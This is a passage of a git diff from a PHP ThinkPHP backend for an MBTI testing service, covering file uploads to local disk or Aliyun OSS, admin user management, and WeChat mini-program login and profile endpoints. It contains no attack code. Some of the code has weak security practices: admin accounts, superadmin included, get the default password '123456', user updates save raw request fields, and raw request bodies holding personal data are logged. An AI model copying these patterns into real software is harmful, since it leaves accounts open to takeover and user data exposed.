子目录:按 年/月 分目录,例如 2025/12 + $year = date('Y'); + $month = date('m'); + $subDir = $year . DIRECTORY_SEPARATOR . $month; + $dir = rtrim($root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $subDir; + + if (!is_dir($dir) && !mkdir($dir, 0755, true) && !is_dir($dir)) { + throw new \RuntimeException('创建上传目录失败'); + } + + $filename = uniqid('img_', true) . '.' . $extension; + + // 保存文件 + $file->move($dir, $filename); + + // web 访问路径使用 / 分隔,例如 uploads/2025/12/xxx.jpg + $relativePath = 'uploads/' . $year . '/' . $month . '/' . $filename; + $urlPrefix = rtrim($config['url'] ?? '', '/'); + + // 如果未配置,使用 API 域名(生产环境:api.737270.com) + if (!$urlPrefix) { + $apiDomain = env('API_DOMAIN', 'https://api.737270.com'); + $urlPrefix = rtrim($apiDomain, '/'); + } + + $url = $urlPrefix . '/' . $relativePath; + + // 记录上传信息 + $record = new UploadFile(); + $record->path = $relativePath; + $record->url = $url; + $record->driver = $driver; + $record->hash = $hash; + $record->size = $size; + $record->mimeType = $mimeType; + $record->extension = $extension; + $record->save(); + + return [ + 'path' => $relativePath, + 'url' => $url, + 'id' => $record->id, + ]; + } + + /** + * 上传到阿里云 OSS + * 完全参考 BaseCrawler.php 的实现 + */ + protected function uploadToOss($file, array $config): array + { + if (!class_exists('\OSS\OssClient')) { + throw new \RuntimeException('未安装 Aliyun OSS SDK,请先执行:composer require aliyuncs/oss-sdk-php'); + } + + // 参考 database.php 的配置读取方式,直接从 config 读取(config 已通过 env() 读取 .env) + $accessKeyId = $config['access_key_id'] ?? ''; + $accessKeySecret = $config['access_key_secret'] ?? ''; + $endpoint = $config['endpoint'] ?? ''; + $bucket = $config['bucket'] ?? ''; + $prefix = trim($config['prefix'] ?? 'mbti', '/'); + $baseUrl = rtrim($config['url'] ?? '', '/'); + + // 如果未配置 OSS_URL,自动使用 OSS 自带域名:https://{bucket}.{endpoint} + if (empty($baseUrl) && !empty($bucket) && !empty($endpoint)) { + // 移除 endpoint 中的协议前缀(如果有) + $endpointClean = preg_replace('#^https?://#', '', $endpoint); + $baseUrl = 'https://' . $bucket . '.' . $endpointClean; + } + + if (empty($accessKeyId) || empty($accessKeySecret) || empty($endpoint) || empty($bucket)) { + throw new \RuntimeException('OSS 配置不完整,请在 .env 文件中配置 OSS_ACCESS_KEY_ID、OSS_ACCESS_KEY_SECRET、OSS_ENDPOINT、OSS_BUCKET(OSS_URL 可选,不配置则使用 OSS 自带域名)'); + } + + $driver = 'oss'; + $extension = strtolower($file->extension()); + $hash = md5_file($file->getPathname()); + $size = $file->getSize(); + $mimeType = $this->getFileMimeSafe($file); + + // 先查重(完全参考 BaseCrawler.php) + try { + $exists = UploadFile::where(['hash' => $hash, 'driver' => $driver])->find(); + if ($exists) { + $tempFilePath = $file->getPathname(); + if (file_exists($tempFilePath)) { + @unlink($tempFilePath); + } + $latestUrl = $baseUrl . '/' . ltrim($exists->path, '/'); + if ($exists->url !== $latestUrl) { + $exists->url = $latestUrl; + $exists->save(); + } + return [ + 'path' => $exists->path, + 'url' => $latestUrl, + 'id' => $exists->id, + ]; + } + } catch (\Exception $e) { + // 查重失败不影响上传流程 + } + + $object = $prefix . '/' . date('Ymd') . '/' . uniqid('img_', true) . '.' . $extension; + + // 保存并临时清除代理设置(完全参考 BaseCrawler.php) + // 如果 putenv 函数可用则使用,否则跳过代理处理 + $putenvAvailable = function_exists('putenv'); + $originalHttpProxy = false; + $originalHttpsProxy = false; + $originalHttpProxyVar = false; + $originalHttpsProxyVar = false; + + if ($putenvAvailable) { + $originalHttpProxy = getenv('HTTP_PROXY'); + $originalHttpsProxy = getenv('HTTPS_PROXY'); + $originalHttpProxyVar = getenv('http_proxy'); + $originalHttpsProxyVar = getenv('https_proxy'); + + \putenv('HTTP_PROXY='); + \putenv('HTTPS_PROXY='); + \putenv('http_proxy='); + \putenv('https_proxy='); + } + + try { + $client = new \OSS\OssClient($accessKeyId, $accessKeySecret, $endpoint); + + if (!$client->doesBucketExist($bucket)) { + throw new \RuntimeException("OSS Bucket '{$bucket}' 不存在或无法访问"); + } + + $client->uploadFile($bucket, $object, $file->getPathname()); + } finally { + // 恢复代理设置(完全参考 BaseCrawler.php) + if ($putenvAvailable) { + if ($originalHttpProxy !== false) { + \putenv('HTTP_PROXY=' . $originalHttpProxy); + } else { + \putenv('HTTP_PROXY'); + } + if ($originalHttpsProxy !== false) { + \putenv('HTTPS_PROXY=' . $originalHttpsProxy); + } else { + \putenv('HTTPS_PROXY'); + } + if ($originalHttpProxyVar !== false) { + \putenv('http_proxy=' . $originalHttpProxyVar); + } else { + \putenv('http_proxy'); + } + if ($originalHttpsProxyVar !== false) { + \putenv('https_proxy=' . $originalHttpsProxyVar); + } else { + \putenv('https_proxy'); + } + } + } + + // 上传成功后,删除本地临时文件(完全参考 BaseCrawler.php) + $tempFilePath = $file->getPathname(); + if (file_exists($tempFilePath)) { + @unlink($tempFilePath); + } + + // 生成文件访问 URL(完全参考 BaseCrawler.php) + $ossUrl = $baseUrl . '/' . ltrim($object, '/'); + + // 记录上传信息(完全参考 BaseCrawler.php,try-catch 包裹) + try { + $record = new UploadFile(); + $record->path = $object; + $record->url = $ossUrl; + $record->driver = $driver; + $record->hash = $hash; + $record->size = $size; + $record->mimeType = $mimeType; + $record->extension = $extension; + $record->save(); + } catch (\Exception $e) { + // 记录失败不影响返回 URL + } + + return [ + 'path' => $object, + 'url' => $ossUrl, + 'id' => $record->id ?? 0, + ]; + } + + /** + * 安全获取文件 MIME:服务器未开 fileinfo 扩展时用扩展名推断,避免 finfo_open() 报错 + */ + protected function getFileMimeSafe($file): string + { + if (function_exists('finfo_open')) { + try { + return $file->getMime() ?: $this->mimeByExtension($file->extension()); + } catch (\Throwable $e) { + return $this->mimeByExtension($file->extension()); + } + } + return $this->mimeByExtension($file->extension()); + } + + private function mimeByExtension(string $ext): string + { + $ext = strtolower($ext ?: ''); + $map = [ + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jfif' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif', + 'webp' => 'image/webp', + 'bmp' => 'image/bmp', + 'heic' => 'image/heic', + 'heif' => 'image/heif', + 'pdf' => 'application/pdf', + 'doc' => 'application/msword', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + ]; + return $map[$ext] ?? 'application/octet-stream'; + } +} diff --git a/api/app/controller/admin/User.php b/api/app/controller/admin/User.php index 355ca2c..749cb5f 100644 --- a/api/app/controller/admin/User.php +++ b/api/app/controller/admin/User.php @@ -1,206 +1,206 @@ -request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - - $page = Request::param('page', 1); - $pageSize = Request::param('pageSize', 10); - $keyword = Request::param('keyword', ''); - $role = Request::param('role', ''); - $status = Request::param('status', ''); - - $where = []; - if ($keyword) { - $where[] = ['username|email|phone', 'like', '%' . $keyword . '%']; - } - if ($role) { - $where['role'] = $role; - } - if ($status !== '') { - $where['status'] = $status; - } - - // 根据角色过滤 - if (($user['role'] ?? '') === 'enterprise_admin') { - // 企业管理员只能查看自己企业的用户 - $where['enterpriseId'] = $user['enterpriseId'] ?? null; - } else { - // 普通管理员可以查看所有管理员(不包括超级管理员) - $where[] = ['role', 'in', ['admin', 'enterprise_admin']]; - } - - $list = UserModel::where($where) - ->order('createdAt', 'desc') - ->page($page, $pageSize) - ->select(); - - $total = UserModel::where($where)->count(); - - return paginate_response($list, $total, $page, $pageSize); - } - - /** - * 获取用户详情 - * @param int $id - * @return \think\response\Json - */ - public function detail($id) - { - $user = UserModel::find($id); - if (!$user) { - return error('用户不存在', 404); - } - - $userData = $user->toArray(); - unset($userData['password']); - - return success($userData); - } - - /** - * 创建用户 - * @return \think\response\Json - */ - public function create() - { - $data = Request::post(); - - // 检查用户名是否已存在 - if (UserModel::where('username', $data['username'])->find()) { - return error('用户名已存在'); - } - - // 检查邮箱是否已存在 - if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { - return error('邮箱已被注册'); - } - - // 验证角色(只允许管理员角色) - $allowedRoles = ['admin', 'enterprise_admin', 'superadmin']; - $role = $data['role'] ?? 'admin'; - if (!in_array($role, $allowedRoles)) { - return error('角色必须是管理员类型', 400); - } - - $user = new UserModel(); - $user->username = $data['username']; - $user->password = $data['password'] ?? '123456'; // 默认密码 - $user->email = $data['email'] ?? ''; - $user->phone = $data['phone'] ?? ''; - $user->role = $role; - $user->enterpriseId = $data['enterpriseId'] ?? $data['enterprise_id'] ?? null; - $user->status = $data['status'] ?? 1; - $user->save(); - - $userData = $user->toArray(); - unset($userData['password']); - - return success($userData, '创建成功'); - } - - /** - * 更新用户 - * @param int $id - * @return \think\response\Json - */ - public function update($id) - { - $user = UserModel::find($id); - if (!$user) { - return error('用户不存在', 404); - } - - $data = Request::put(); - - // 如果更新用户名,检查是否重复 - if (isset($data['username']) && $data['username'] != $user->username) { - if (UserModel::where('username', $data['username'])->find()) { - return error('用户名已存在'); - } - } - - // 如果更新邮箱,检查是否重复 - if (isset($data['email']) && $data['email'] != $user->email) { - if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { - return error('邮箱已被注册'); - } - } - - // 如果更新密码 - if (isset($data['password'])) { - $user->password = $data['password']; // 会自动加密 - } - - $user->save($data); - - $userData = $user->toArray(); - unset($userData['password']); - - return success($userData, '更新成功'); - } - - /** - * 删除用户(软删除) - * @param int $id - * @return \think\response\Json - */ - public function delete($id) - { - $user = UserModel::find($id); - if (!$user) { - return error('用户不存在', 404); - } - - // 检查是否已删除 - if ($user->deletedAt) { - return error('用户已被删除', 400); - } - - // 不能删除自己 - $currentUser = $this->request->user ?? null; - if ($currentUser && ($currentUser['userId'] ?? $currentUser['user_id'] ?? null) == $id) { - return error('不能删除自己', 400); - } - - // 软删除(设置 deletedAt 时间戳) - $user->delete(); - return success(null, '删除成功'); - } - - /** - * 启用/禁用用户 - * @param int $id - * @return \think\response\Json - */ - public function toggleStatus($id) - { - $user = UserModel::find($id); - if (!$user) { - return error('用户不存在', 404); - } - - $user->status = $user->status == 1 ? 0 : 1; - $user->save(); - - return success($user, '操作成功'); - } -} - +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 10); + $keyword = Request::param('keyword', ''); + $role = Request::param('role', ''); + $status = Request::param('status', ''); + + $where = []; + if ($keyword) { + $where[] = ['username|email|phone', 'like', '%' . $keyword . '%']; + } + if ($role) { + $where['role'] = $role; + } + if ($status !== '') { + $where['status'] = $status; + } + + // 根据角色过滤 + if (($user['role'] ?? '') === 'enterprise_admin') { + // 企业管理员只能查看自己企业的用户 + $where['enterpriseId'] = $user['enterpriseId'] ?? null; + } else { + // 普通管理员可以查看所有管理员(不包括超级管理员) + $where[] = ['role', 'in', ['admin', 'enterprise_admin']]; + } + + $list = UserModel::where($where) + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select(); + + $total = UserModel::where($where)->count(); + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 获取用户详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData); + } + + /** + * 创建用户 + * @return \think\response\Json + */ + public function create() + { + $data = Request::post(); + + // 检查用户名是否已存在 + if (UserModel::where('username', $data['username'])->find()) { + return error('用户名已存在'); + } + + // 检查邮箱是否已存在 + if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { + return error('邮箱已被注册'); + } + + // 验证角色(只允许管理员角色) + $allowedRoles = ['admin', 'enterprise_admin', 'superadmin']; + $role = $data['role'] ?? 'admin'; + if (!in_array($role, $allowedRoles)) { + return error('角色必须是管理员类型', 400); + } + + $user = new UserModel(); + $user->username = $data['username']; + $user->password = $data['password'] ?? '123456'; // 默认密码 + $user->email = $data['email'] ?? ''; + $user->phone = $data['phone'] ?? ''; + $user->role = $role; + $user->enterpriseId = $data['enterpriseId'] ?? $data['enterprise_id'] ?? null; + $user->status = $data['status'] ?? 1; + $user->save(); + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData, '创建成功'); + } + + /** + * 更新用户 + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $data = Request::put(); + + // 如果更新用户名,检查是否重复 + if (isset($data['username']) && $data['username'] != $user->username) { + if (UserModel::where('username', $data['username'])->find()) { + return error('用户名已存在'); + } + } + + // 如果更新邮箱,检查是否重复 + if (isset($data['email']) && $data['email'] != $user->email) { + if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) { + return error('邮箱已被注册'); + } + } + + // 如果更新密码 + if (isset($data['password'])) { + $user->password = $data['password']; // 会自动加密 + } + + $user->save($data); + + $userData = $user->toArray(); + unset($userData['password']); + + return success($userData, '更新成功'); + } + + /** + * 删除用户(软删除) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + // 检查是否已删除 + if ($user->deletedAt) { + return error('用户已被删除', 400); + } + + // 不能删除自己 + $currentUser = $this->request->user ?? null; + if ($currentUser && ($currentUser['userId'] ?? $currentUser['user_id'] ?? null) == $id) { + return error('不能删除自己', 400); + } + + // 软删除(设置 deletedAt 时间戳) + $user->delete(); + return success(null, '删除成功'); + } + + /** + * 启用/禁用用户 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + $user = UserModel::find($id); + if (!$user) { + return error('用户不存在', 404); + } + + $user->status = $user->status == 1 ? 0 : 1; + $user->save(); + + return success($user, '操作成功'); + } +} + diff --git a/api/app/controller/api/Auth.php b/api/app/controller/api/Auth.php index b8fc4d4..cc241b5 100644 --- a/api/app/controller/api/Auth.php +++ b/api/app/controller/api/Auth.php @@ -1,525 +1,525 @@ -where('username', $username) - // ->find(); - - if (!$user) { - return error('用户名或密码错误', 401); - } - - // 验证密码 - if (!password_verify($password, $user['password'])) { - return error('用户名或密码错误', 401); - } - - // 检查状态 - if ($user['status'] != 1) { - return error('账号已被禁用', 403); - } - - // 更新登录信息(使用时间戳,驼峰命名) - Db::name('users') - ->where('id', $user['id']) - ->update([ - 'lastLoginTime' => time(), - 'lastLoginIp' => Request::ip(), - 'updatedAt' => time() - ]); - - // 生成Token - $payload = [ - 'user_id' => $user['id'], - 'username' => $user['username'], - 'role' => $user['role'] - ]; - - $token = JwtService::generateToken($payload); - - return success([ - 'token' => $token, - 'expires_in' => config('jwt.expire'), - 'user' => [ - 'id' => $user['id'], - 'username' => $user['username'], - 'nickname' => $user['nickname'] ?? $user['username'], - 'email' => $user['email'] ?? '', - 'avatar' => $user['avatar'] ?? '', - 'role' => $user['role'] - ] - ], '登录成功'); - } - - /** - * 用户注册(前端) - * @return \think\response\Json - */ - public function register() - { - $data = Request::post(); - - // 数据验证 - if (empty($data['username']) || empty($data['password'])) { - return error('用户名和密码不能为空', 400); - } - - // 检查用户名是否已存在 - if (Db::name('users')->where('username', $data['username'])->find()) { - return error('用户名已存在', 400); - } - - // 检查邮箱是否已存在 - if (!empty($data['email']) && Db::name('users')->where('email', $data['email'])->find()) { - return error('邮箱已被注册', 400); - } - - // 注意:mbti_users表只存储管理员和超管,前端用户需要存储在单独的表中 - // 这里暂时返回错误,需要创建前端用户表后再实现 - return error('前端用户注册功能暂未实现,请联系管理员', 501); - - // 创建用户(如果将来有前端用户表,使用以下代码) - // $userId = Db::name('frontend_users')->insertGetId([ - // 'username' => $data['username'], - // 'password' => password_hash($data['password'], PASSWORD_DEFAULT), - // 'email' => $data['email'] ?? '', - // 'status' => 1, - // 'created_at' => time(), - // 'updated_at' => time() - // ]); - - $user = Db::name('users')->where('id', $userId)->find(); - unset($user['password']); - - return success($user, '注册成功'); - } - - /** - * 获取当前用户信息(需要认证) - * 小程序用户(source=wechat)从 mbti_wechat_users 读取,否则从 mbti_users 读取 - * @return \think\response\Json - */ - public function me() - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - $source = $user['source'] ?? null; - $userId = $user['user_id'] ?? $user['userId'] ?? null; - - if ($source === 'wechat' && $userId) { - $wechatUser = Db::name('wechat_users')->where('id', $userId)->find(); - if (!$wechatUser) { - return error('用户不存在', 404); - } - unset($wechatUser['sessionKey'], $wechatUser['openid']); - $wechatUser['avatarUrl'] = $wechatUser['avatar'] ?? ''; - $eid = isset($wechatUser['enterpriseId']) && $wechatUser['enterpriseId'] !== '' && $wechatUser['enterpriseId'] !== null ? (int) $wechatUser['enterpriseId'] : null; - $wechatUser['hasEnterprise'] = $eid > 0; - $wechatUser['enterpriseId'] = $eid; - return success($wechatUser); - } - - $userModel = Db::name('users')->where('id', $userId)->find(); - if (!$userModel) { - return error('用户不存在', 404); - } - - unset($userModel['password']); - - return success($userModel); - } - - /** - * 退出登录(需要认证) - * @return \think\response\Json - */ - public function logout() - { - $user = $this->request->user ?? null; - - if ($user && isset($user['user_id'])) { - JwtService::deleteToken((int) $user['user_id'], $user['source'] ?? null); - } - - return success(null, '退出成功'); - } - - /** - * 刷新Token - * @return \think\response\Json - */ - public function refresh() - { - $token = JwtService::getTokenFromRequest($this->request); - - if (!$token) { - return error('未提供Token', 401); - } - - $newToken = JwtService::refreshToken($token); - - if (!$newToken) { - return error('Token无效或已过期', 401); - } - - return success([ - 'token' => $newToken, - 'expires_in' => config('jwt.expire') - ], '刷新成功'); - } - - /** - * 微信小程序登录:code 换 openid,查/建用户,返回 token 与用户信息 - * POST api/auth/wechat body: { "code": "xxx" } - * @return \think\response\Json - */ - public function wechatLogin() - { - $code = Request::param('code', ''); - if ($code === '') { - return error('缺少 code', 400); - } - - $session = WechatService::jscode2session($code); - if (isset($session['errcode']) && $session['errcode'] !== 0) { - return error($session['errmsg'] ?? '微信登录失败', 400); - } - - $openid = $session['openid']; - //$openid = 'oucCB15WDKCdwfNo-fpyS72iY5IQ'; - $sessionKey = $session['session_key'] ?? ''; - $unionid = $session['unionid'] ?? null; - - $wechatUser = Db::name('wechat_users')->where('openid', $openid)->find(); - $now = time(); - $ip = Request::ip(); - - if ($wechatUser) { - Db::name('wechat_users')->where('id', $wechatUser['id'])->update([ - 'sessionKey' => $sessionKey, - 'unionid' => $unionid, - 'lastLoginAt' => $now, - 'lastLoginIp' => $ip, - 'updatedAt' => $now, - ]); - $wechatUser = Db::name('wechat_users')->where('id', $wechatUser['id'])->find(); - } else { - $id = Db::name('wechat_users')->insertGetId([ - 'openid' => $openid, - 'unionid' => $unionid, - 'sessionKey' => $sessionKey, - 'nickname' => null, - 'avatar' => null, - 'phone' => null, - 'gender' => 0, - 'country' => null, - 'province' => null, - 'city' => null, - 'status' => 1, - 'lastLoginAt' => $now, - 'lastLoginIp' => $ip, - 'createdAt' => $now, - 'updatedAt' => $now, - ]); - $wechatUser = Db::name('wechat_users')->where('id', $id)->find(); - } - - if (($wechatUser['status'] ?? 1) != 1) { - return error('账号已被禁用', 403); - } - - $payload = [ - 'user_id' => (int) $wechatUser['id'], - 'source' => 'wechat', - ]; - $token = JwtService::generateToken($payload); - - $userId = (int) $wechatUser['id']; - // 企业绑定取自 wechat_users.enterpriseId(企业分享测试链接时更新,个人分享不更新) - $enterpriseId = isset($wechatUser['enterpriseId']) && $wechatUser['enterpriseId'] !== '' && $wechatUser['enterpriseId'] !== null - ? (int) $wechatUser['enterpriseId'] - : null; - $hasEnterprise = $enterpriseId > 0; - - $out = [ - 'id' => $userId, - 'openid' => $openid, - 'nickname' => $wechatUser['nickname'] ?? '', - 'avatar' => $wechatUser['avatar'] ?? '', - 'avatarUrl' => $wechatUser['avatar'] ?? '', - 'phone' => $wechatUser['phone'] ?? '', - 'gender' => (int) ($wechatUser['gender'] ?? 0), - 'country' => $wechatUser['country'] ?? '', - 'province' => $wechatUser['province'] ?? '', - 'city' => $wechatUser['city'] ?? '', - 'birthday' => $wechatUser['birthday'] ?? '', - 'hasEnterprise' => $hasEnterprise, - 'enterpriseId' => $enterpriseId, - ]; - - return success([ - 'token' => $token, - 'expires_in' => config('jwt.expire'), - 'user' => $out, - ], '登录成功'); - } - - /** - * 更新小程序用户资料(昵称、头像等),需要认证且为微信用户 - * PUT api/auth/wechat/profile body: { "nickname": "xxx", "avatar": "url", "gender", "country", "province", "city" } - * @return \think\response\Json - */ - public function updateWechatProfile() - { - $user = $this->request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (($user['source'] ?? '') !== 'wechat') { - return error('仅支持小程序用户更新资料', 403); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - if ($userId <= 0) { - return error('用户不存在', 404); - } - - // PUT请求的数据在body中,Content-Type为application/json时需要特殊处理 - $contentType = Request::header('content-type', ''); - $input = []; - - if (stripos($contentType, 'application/json') !== false) { - // JSON格式的请求体,需要从原始内容中解析 - $rawContent = Request::getContent(); - if ($rawContent) { - $input = json_decode($rawContent, true) ?: []; - } - } else { - // 表单格式的请求体 - $input = Request::post() ?: Request::put() ?: []; - } - - // 如果还是空,尝试从param获取(兼容性处理) - if (empty($input)) { - $input = Request::param(); - } - - // 记录接收到的数据(调试用) - \think\facade\Log::info('更新用户资料请求', [ - 'userId' => $userId, - 'input' => $input, - 'method' => Request::method(), - 'contentType' => $contentType, - 'rawContent' => Request::getContent() - ]); - - $allow = ['nickname', 'avatar', 'gender', 'country', 'province', 'city', 'birthday']; - $data = []; - foreach ($allow as $k) { - if (isset($input[$k]) && $input[$k] !== null && $input[$k] !== '') { - $v = $input[$k]; - if ($k === 'avatar') { - $data['avatar'] = is_string($v) ? $v : ''; - } elseif ($k === 'nickname') { - $data['nickname'] = is_string($v) ? mb_substr(trim($v), 0, 100) : ''; - } elseif ($k === 'birthday') { - $data['birthday'] = is_string($v) ? preg_replace('/[^\d\-]/', '', trim($v)) : ''; - } elseif ($k === 'gender') { - $data['gender'] = (int) $v; - } else { - $data[$k] = is_string($v) ? trim($v) : ''; - } - } - } - - if (empty($data)) { - \think\facade\Log::warning('更新用户资料:没有可更新的字段', ['input' => $input]); - return error('没有可更新的字段', 400); - } - - $data['updatedAt'] = time(); - \think\facade\Log::info('更新用户资料SQL', ['userId' => $userId, 'data' => $data]); - - $result = Db::name('wechat_users')->where('id', $userId)->update($data); - - \think\facade\Log::info('更新用户资料结果', ['userId' => $userId, 'affectedRows' => $result]); - - $row = Db::name('wechat_users')->where('id', $userId)->find(); - unset($row['sessionKey'], $row['openid']); - $row['avatarUrl'] = $row['avatar'] ?? ''; - - return success($row, '更新成功'); - } - - /** - * 小程序获取手机号:用 getPhoneNumber 返回的 code 换手机号并写入当前用户 - * POST api/auth/wechat/phone body: { "code": "xxx" } 需登录且为微信用户 - * @return \think\response\Json - */ - public function wechatPhone() - { - $user = $this->request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (($user['source'] ?? '') !== 'wechat') { - return error('仅支持小程序用户', 403); - } - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - if ($userId <= 0) { - return error('用户不存在', 404); - } - $contentType = Request::header('content-type', ''); - $input = []; - if (stripos($contentType, 'application/json') !== false) { - $rawContent = Request::getContent(); - if ($rawContent) { - $input = json_decode($rawContent, true) ?: []; - } - } else { - $input = Request::post() ?: []; - } - if (empty($input)) { - $input = Request::param(); - } - $code = $input['code'] ?? ''; - if ($code === '') { - return error('缺少 code', 400); - } - - // 调试日志:记录收到的手机号 code(仅保留前几位防止泄露) - \think\facade\Log::info('WechatPhone 请求', [ - 'userId' => $userId, - 'codeHead' => substr($code, 0, 8) . '***', - ]); - - $phoneResult = WechatService::getPhoneNumber($code); - if (isset($phoneResult['errcode'])) { - \think\facade\Log::warning('WechatPhone 获取手机号失败', [ - 'userId' => $userId, - 'codeHead' => substr($code, 0, 8) . '***', - 'errcode' => $phoneResult['errcode'] ?? null, - 'errmsg' => $phoneResult['errmsg'] ?? null, - ]); - return error(($phoneResult['errmsg'] ?? '获取手机号失败') . ' (code inval)', 400); - } - $phone = $phoneResult['purePhoneNumber'] ?? $phoneResult['phoneNumber'] ?? ''; - if ($phone === '') { - return error('未获取到手机号', 400); - } - - Db::name('wechat_users')->where('id', $userId)->update([ - 'phone' => $phone, - 'updatedAt' => time(), - ]); - $row = Db::name('wechat_users')->where('id', $userId)->find(); - unset($row['sessionKey'], $row['openid']); - $row['avatarUrl'] = $row['avatar'] ?? ''; - - return success([ - 'phone' => $phone, - 'user' => $row, - ], '获取成功'); - } - - /** - * 小程序扫码企业邀请后绑定企业:更新 wechat_users.enterpriseId - * POST api/auth/wechat/bind-enterprise body: { "enterpriseId": 123 } - */ - public function wechatBindEnterprise() - { - $user = $this->request->user ?? null; - if (!$user) { - return error('未登录', 401); - } - if (($user['source'] ?? '') !== 'wechat') { - return error('仅支持小程序用户', 403); - } - - $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0); - if ($userId <= 0) { - return error('用户不存在', 404); - } - - $contentType = Request::header('content-type', ''); - $input = []; - if (stripos($contentType, 'application/json') !== false) { - $rawContent = Request::getContent(); - if ($rawContent) { - $input = json_decode($rawContent, true) ?: []; - } - } else { - $input = Request::post() ?: []; - } - if (empty($input)) { - $input = Request::param(); - } - - $enterpriseId = (int) ($input['enterpriseId'] ?? 0); - if ($enterpriseId <= 0) { - return error('缺少或非法的 enterpriseId', 400); - } - - $ent = Db::name('enterprises') - ->where('id', $enterpriseId) - ->where('status', '<>','disabled') - ->find(); - if (!$ent) { - return error('企业不存在或已禁用', 404); - } - - Db::name('wechat_users')->where('id', $userId)->update([ - 'enterpriseId' => $enterpriseId, - 'updatedAt' => time(), - ]); - - $row = Db::name('wechat_users')->where('id', $userId)->find(); - if (!$row) { - return error('用户不存在', 404); - } - unset($row['sessionKey'], $row['openid']); - $row['avatarUrl'] = $row['avatar'] ?? ''; - $eid = isset($row['enterpriseId']) && $row['enterpriseId'] !== '' && $row['enterpriseId'] !== null ? (int) $row['enterpriseId'] : null; - $row['hasEnterprise'] = $eid > 0; - $row['enterpriseId'] = $eid; - $row['enterpriseName'] = $ent['name'] ?? ''; - - return success($row, '绑定企业成功'); - } -} - +where('username', $username) + // ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'user_id' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'] + ]; + + $token = JwtService::generateToken($payload); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => [ + 'id' => $user['id'], + 'username' => $user['username'], + 'nickname' => $user['nickname'] ?? $user['username'], + 'email' => $user['email'] ?? '', + 'avatar' => $user['avatar'] ?? '', + 'role' => $user['role'] + ] + ], '登录成功'); + } + + /** + * 用户注册(前端) + * @return \think\response\Json + */ + public function register() + { + $data = Request::post(); + + // 数据验证 + if (empty($data['username']) || empty($data['password'])) { + return error('用户名和密码不能为空', 400); + } + + // 检查用户名是否已存在 + if (Db::name('users')->where('username', $data['username'])->find()) { + return error('用户名已存在', 400); + } + + // 检查邮箱是否已存在 + if (!empty($data['email']) && Db::name('users')->where('email', $data['email'])->find()) { + return error('邮箱已被注册', 400); + } + + // 注意:mbti_users表只存储管理员和超管,前端用户需要存储在单独的表中 + // 这里暂时返回错误,需要创建前端用户表后再实现 + return error('前端用户注册功能暂未实现,请联系管理员', 501); + + // 创建用户(如果将来有前端用户表,使用以下代码) + // $userId = Db::name('frontend_users')->insertGetId([ + // 'username' => $data['username'], + // 'password' => password_hash($data['password'], PASSWORD_DEFAULT), + // 'email' => $data['email'] ?? '', + // 'status' => 1, + // 'created_at' => time(), + // 'updated_at' => time() + // ]); + + $user = Db::name('users')->where('id', $userId)->find(); + unset($user['password']); + + return success($user, '注册成功'); + } + + /** + * 获取当前用户信息(需要认证) + * 小程序用户(source=wechat)从 mbti_wechat_users 读取,否则从 mbti_users 读取 + * @return \think\response\Json + */ + public function me() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + $source = $user['source'] ?? null; + $userId = $user['user_id'] ?? $user['userId'] ?? null; + + if ($source === 'wechat' && $userId) { + $wechatUser = Db::name('wechat_users')->where('id', $userId)->find(); + if (!$wechatUser) { + return error('用户不存在', 404); + } + unset($wechatUser['sessionKey'], $wechatUser['openid']); + $wechatUser['avatarUrl'] = $wechatUser['avatar'] ?? ''; + $eid = isset($wechatUser['enterpriseId']) && $wechatUser['enterpriseId'] !== '' && $wechatUser['enterpriseId'] !== null ? (int) $wechatUser['enterpriseId'] : null; + $wechatUser['hasEnterprise'] = $eid > 0; + $wechatUser['enterpriseId'] = $eid; + return success($wechatUser); + } + + $userModel = Db::name('users')->where('id', $userId)->find(); + if (!$userModel) { + return error('用户不存在', 404); + } + + unset($userModel['password']); + + return success($userModel); + } + + /** + * 退出登录(需要认证) + * @return \think\response\Json + */ + public function logout() + { + $user = $this->request->user ?? null; + + if ($user && isset($user['user_id'])) { + JwtService::deleteToken((int) $user['user_id'], $user['source'] ?? null); + } + + return success(null, '退出成功'); + } + + /** + * 刷新Token + * @return \think\response\Json + */ + public function refresh() + { + $token = JwtService::getTokenFromRequest($this->request); + + if (!$token) { + return error('未提供Token', 401); + } + + $newToken = JwtService::refreshToken($token); + + if (!$newToken) { + return 